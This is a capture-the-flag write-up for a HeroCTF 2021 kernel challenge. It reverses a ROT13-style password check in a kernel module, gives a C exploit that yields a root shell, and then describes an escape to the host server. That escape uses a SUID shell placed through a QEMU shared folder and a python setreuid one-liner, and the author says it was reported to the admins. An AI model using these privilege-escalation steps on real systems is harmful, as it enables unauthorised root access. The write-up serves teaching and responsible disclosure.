HeroCTF 2021 - Rooting servers, for fun and CTF points
Category : Kernel
Points : 175
Message from : Mom 23/04/21 22:00
Hey sweetie !
I placed a little gift for you in the living room.
It's in a box that's locked though.
The key's in the safe, and this time I locked it with a password.
Love you ! xoxoPS : Happax seems to be back to normal.
Connection via ssh -p 4822 kern2@ai.heroctf.fr
, mot de passe kern2_tig
Format : Hero{}
Author : iHuggsy
Challenge informations
This Kernel exploit challenge (2nd in the series), uses a virtual machine based on QEMU. To access the challenge, you must connect via SSH to a server (which we will call hostserver
in the rest of this writeup), on which we find the challenge files:
[hostserver]$ ls -lah
total 9,9M
drwxrwxr-x 2 kern2 kern2 4,0K mai 2 12:33 .
drwxrwxr-x 3 kern2 kern2 4,0K mai 2 12:37 ..
-rwxrwxr-x 1 kern2 kern2 9,2M mai 2 12:33 bzImage
-rwxrwxr-x 1 kern2 kern2 673K mai 2 12:33 initramfs
-rwsrwxrwx 1 root root 16K mai 2 12:33 run
-rwxrwxr-x 1 kern2 kern2 667 mai 2 12:33 .run_vm
[hostserver]$
Once we are connected in SSH, we must launch the SUID ./run
wrapper, to start and access the challenge VM. When we start it, we get a terminal in the VM:
$ ./run
Welcome to the kernel challenge #1 !
---- Your share : host:/tmp/tmp.3HqGwGi8y5 -> guest:/mnt/share ----
- Use CTRL+Z to put qemu in the background
- Use CTRL+* to exit the VM (shutdown)
- If qemu is in the background, use the 'fg' command to return to the vm
** ** ****** ********** ********
/** /** **////**/////**/// /**/////
/** /** ***** ****** ****** ** // /** /**
/********** **///**//**//* **////**/** /** /*******
/**//////**/******* /** / /** /**/** /** /**////
/** /**/**//// /** /** /**//** ** /** /**
/** /**//******/*** //****** //****** /** /**
// // ////// /// ////// ////// // //
=============== Locked safe (by @iHuggsy) ===============
= Kernel Challenge #2 =
= This time, you have to open the safe ! =
=================================================================
/ $ ls
bin etc mnt root sbin
dev flag.txt proc safe_mod.ko sys
/ $
We can recover the safe_mod.ko
kernel module thanks to the shared folder between the VM and the host server.
Solving the challenge Kernel 2
First of all, a little bit of reverse on the safe_mod.ko
kernel module is necessary to fully understand what it does. For that, I used IDA which decompiled the module without too much trouble, and I got this device_file_write
function:
void device_file_write.cold(void) {
char cVar1;
char cVar2;
long user_input;
size_t maxlen;
char * matched_index;
char * unaff_R12;
int index;
long in_GS_OFFSET;
index = 0;
user_input = _copy_from_user();
if (user_input == 0) {
while (index < strlen(v2)) {
v4 = (char * ) & user_input[index];
v5 = *v4;
if ( *v4 == 0xa || *v4 == 0x0) break;
if ((unsigned __int8)(v5 - 65) > 0x19u) {
v12 = v5;
v13 = v5 + 13;
v14 = v5 - 13;
if (v12 + 13 <= 122)
v14 = v13;
*v4 = v14;
} else {
v6 = v5 + 13;
v7 = v5 - 13;
if (v6 <= 90)
v7 = v6;
*v4 = v7;
}
index += 1;
}
matched_index = strstr(user_input, "OpenSesame");
if (matched_index != (char * ) 0x0) {
if ( * (long * )( & current_task + in_GS_OFFSET) == 0) {
printk( & DAT_00100348);
} else {
printk( & DAT_00100378, (ulong) * (uint * )( * (long * )( & current_task + in_GS_OFFSET) + 0x4e8));
user_input = prepare_creds();
if (user_input == 0) {
printk( & DAT_001003a8);
} else {
*(undefined4 * )(user_input + 0x14) = 0;
*(undefined4 * )(user_input + 4) = 0;
*(undefined4 * )(user_input + 0x18) = 0;
*(undefined4 * )(user_input + 8) = 0;
commit_creds(user_input);
}
}
}
kfree();
}
return;
}
In this function is a very interesting block, which modifies the password entered by the user, before comparing it to the value OpenSesame
:
while (index < strlen(v2)) {
v4 = (char * ) & user_input[index];
v5 = *v4;
if ( *v4 == 0xa || *v4 == 0x0) break;
if ((unsigned __int8)(v5 - 65) > 0x19u) {
v12 = v5;
v13 = v5 + 13;
v14 = v5 - 13;
if (v12 + 13 <= 122)
v14 = v13;
*v4 = v14;
} else {
v6 = v5 + 13;
v7 = v5 - 13;
if (v6 <= 90)
v7 = v6;
*v4 = v7;
}
index += 1;
}
matched_index = strstr(user_input, "OpenSesame");
Since we have pretty consistent decompiled code, it was pretty straightforward to reimplement this function in python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def transform(v2):
v2 = list(v2)
k = 0
while k < len(v2):
letter = v2[k]
if letter == 0xa:
break
if (letter - 65) > 0x19:
v13 = letter + 13
v14 = letter - 13
if (letter + 13) <= 122:
v2[k] = v13
else:
v2[k] = v14
else:
v6 = letter + 13
v7 = letter - 13
if (letter + 13) <= 90:
v2[k] = v6
else:
v2[k] = v7
k += 1
return bytes(v2)
if __name__ == '__main__':
target = b"OpenSesame"
inv_input = transform(target)
if transform(inv_input) == target:
print("[+] Function is involutive !")
print("[+] input should be : %s" % inv_input.decode('UTF-8'))
Lucky for us! The function is involutive (i.e. f(f(x)) == x
)! This means that we can simply calculate transform(b"OpenSesame")
to get the expected input to the function.
[+] Function is involutive !
[+] input should be : BcraFrfnzr
We now know the string to send to the kernel module via /dev/safe
to change the UID of our process to 0 (to change the process to root
). We will therefore write a C program to open /dev/safe
and send the password BcraFrfnzr
to the char device /dev/safe
:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
// gcc -static exploit.c -o exploit
int main(){
char ch;
FILE * fd;
fd = fopen("/dev/safe","rw+");
if(fd == NULL) {
fprintf(stdout, "fopen('/dev/safe') failed: %s\n", strerror(errno));
}
fputs("BcraFrfnzr\n",fd);
while((ch = fgetc(fd)) != EOF) printf("%c", ch);
fclose(fd);
printf("[+] Openning shell ...\n");
system("/bin/sh");
}
We put this file in the /tmp/tmp.3HqGwGi8y5
folder on the server hosting the VM, and we compile it with gcc -static exploit.c -o exploit
:
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 84K
drwxrwxrwx 2 kern2 kern2 4,0K mai 6 21:49 .
drwxrwxrwt 173 root root 76K mai 6 21:49 ..
[hostserver]:/tmp/tmp.3HqGwGi8y5$ nano exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$ gcc -static exploit.c -o exploit
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 952K
drwxrwxrwx 2 kern2 kern2 4,0K mai 6 21:50 .
drwxrwxrwt 173 root root 76K mai 6 21:50 ..
-rwxrwxr-x 1 kern2 kern2 862K mai 6 21:50 exploit
-rw-rw-r-- 1 kern2 kern2 463 mai 6 21:50 exploit.c
[hostserver]:/tmp/tmp.3HqGwGi8y5$
Then we go back to our VM, and we go to /mnt/share
to access our shared directory:
** ** ****** ********** ********
/** /** **////**/////**/// /**/////
/** /** ***** ****** ****** ** // /** /**
/********** **///**//**//* **////**/** /** /*******
/**//////**/******* /** / /** /**/** /** /**////
/** /**/**//// /** /** /**//** ** /** /**
/** /**//******/*** //****** //****** /** /**
// // ////// /// ////// ////// // //
=============== Locked safe (by @iHuggsy) ===============
= Kernel Challenge #2 =
= This time, you have to open the safe ! =
=================================================================
/ $ cd /mnt/share
/mnt/share $ ls -lha
total 872K
drwxrwxrwx 2 user 1000 4.0K May 6 19:50 .
drwxrwxr-x 3 user 1000 60 Apr 17 09:30 ..
-rwxrwxr-x 1 1002 1002 861.4K May 6 19:50 exploit
-rw-rw-r-- 1 1002 1002 463 May 6 19:50 exploit.c
/mnt/share $
We launch the exploit and we become root
:
/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ./exploit
The safe is locked. Enter the password first.
[+] Openning shell ...
/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # cat /flag.txt
Hero{y0u_c4n_4ls0_Wr1t3_?!!}
/mnt/share #
And we can validate the challenge with the flag Hero{y0u_c4n_4ls0_Wr1t3_?!!}
! But ... is that all we can do?
Privilege escalation on the host server
When I finished this kernel challenge (and became root
in the challenge's VM), I was about to move on to another challenge when I noticed something very interesting inside the challenge VM:
/mnt/share $ id
uid=1000(user) gid=1000 groups=1000
/mnt/share $ ls -lha
total 872K
drwxrwxrwx 2 user 1000 4.0K May 6 19:50 .
drwxrwxr-x 3 user 1000 60 Apr 17 09:30 ..
-rwxrwxr-x 1 1002 1002 861.4K May 6 19:50 exploit
-rw-rw-r-- 1 1002 1002 463 May 6 19:50 exploit.c
/mnt/share $
Do you see it too? Take a look at which user the exploit files belong to. The user 1002
, but there is no user with this id in the VM, so what's going on?
, they will be changed in both. For example, from the
/tmp/tmp.3HqGwGi8y5folder on the host server, we will copy the
/bin/shbinary to put it in the share. It therefore belongs to our current user on the host server, the user
kern2`.
[hostserver]:/tmp/tmp.3HqGwGi8y5$ cp /bin/sh .
[hostserver]:/tmp/tmp.3HqGwGi8y5$ ls -lha
total 1,1M
drwxrwxrwx 2 root root 4,0K mai 6 22:09 .
drwxrwxrwt 173 root root 76K mai 6 22:09 ..
-rwxrwxr-x 1 kern2 kern2 862K mai 6 22:09 exploit
-rw-rw-r-- 1 kern2 kern2 463 mai 6 22:09 exploit.c
-rwxr-xr-x 1 kern2 kern2 127K mai 6 22:09 sh
[hostserver]:/tmp/tmp.3HqGwGi8y5$
In the /mnt/share
folder on the challenge VM, we will change the owner of the sh
file we just created to give it to root
(id = 0), and we will also place all the SUID bits at 1:
/mnt/share # id
uid=0 gid=0 groups=1000
/mnt/share # ls -lha
total 1000K
drwxrwxrwx 2 0 0 4.0K May 6 20:09 .
drwxrwxr-x 3 user 1000 60 Apr 17 09:30 ..
-rwxrwxr-x 1 user 1000 861.4K May 6 20:09 exploit
-rw-rw-r-- 1 user 1000 463 May 6 20:09 exploit.c
-rwxr-xr-x 1 user 1000 126.8K May 6 20:09 sh
/mnt/share # chown 0:0 ./sh && chmod 7777 ./sh
/mnt/share # ls -lha
total 1000K
drwxrwxrwx 2 0 0 4.0K May 6 20:09 .
drwxrwxr-x 3 user 1000 60 Apr 17 09:30 ..
-rwxrwxr-x 1 user 1000 861.4K May 6 20:09 exploit
-rw-rw-r-- 1 user 1000 463 May 6 20:09 exploit.c
-rwsrwsrwt 1 0 0 126.8K May 6 20:09 sh
/mnt/share #
Now that everything is ready, we go back to our shared folder /tmp/tmp.3HqGwGi8y5
on the host server, and we launch our SUID shell:
[hostserver]:/tmp/tmp.uq8fcKEQPW$ ls -lha
total 1,1M
drwxrwxrwx 2 root root 4,0K mai 6 22:09 .
drwxrwxrwt 173 root root 76K mai 6 22:09 ..
-rwxrwxr-x 1 kern2 kern2 862K mai 6 22:09 exploit
-rw-rw-r-- 1 kern2 kern2 463 mai 6 22:09 exploit.c
-rwsrwsrwt 1 root root 127K mai 6 22:09 sh
[hostserver]:/tmp/tmp.uq8fcKEQPW$ ./sh -p
$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$
The rights are well passed, as we can see I have a shell with euid=0(root) egid=0(root)
. To perform more advanced actions without being limited, it is interesting to have a real shell with uid=0(root)
. To do this, we can use python to switch from a euid
to auid
, thanks to this payload:
python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'
I ran this payload, and then got a real root
shell:
$ id
uid=1000(kern2) gid=1000(kern2) euid=0(root) egid=0(root) groups=0(root),1000(kern2)
$ python -c 'import os;os.setreuid(os.geteuid(),os.geteuid());os.system("/bin/sh -p")'
# id
uid=0(root) gid=0(root) groups=0(root)
I am now root
on the HeroCTF kernel challenges host server!
And this time, I'm the one who set the flag \o/, as a bonus I got 50 bonus points for reporting this vulnerability to admins: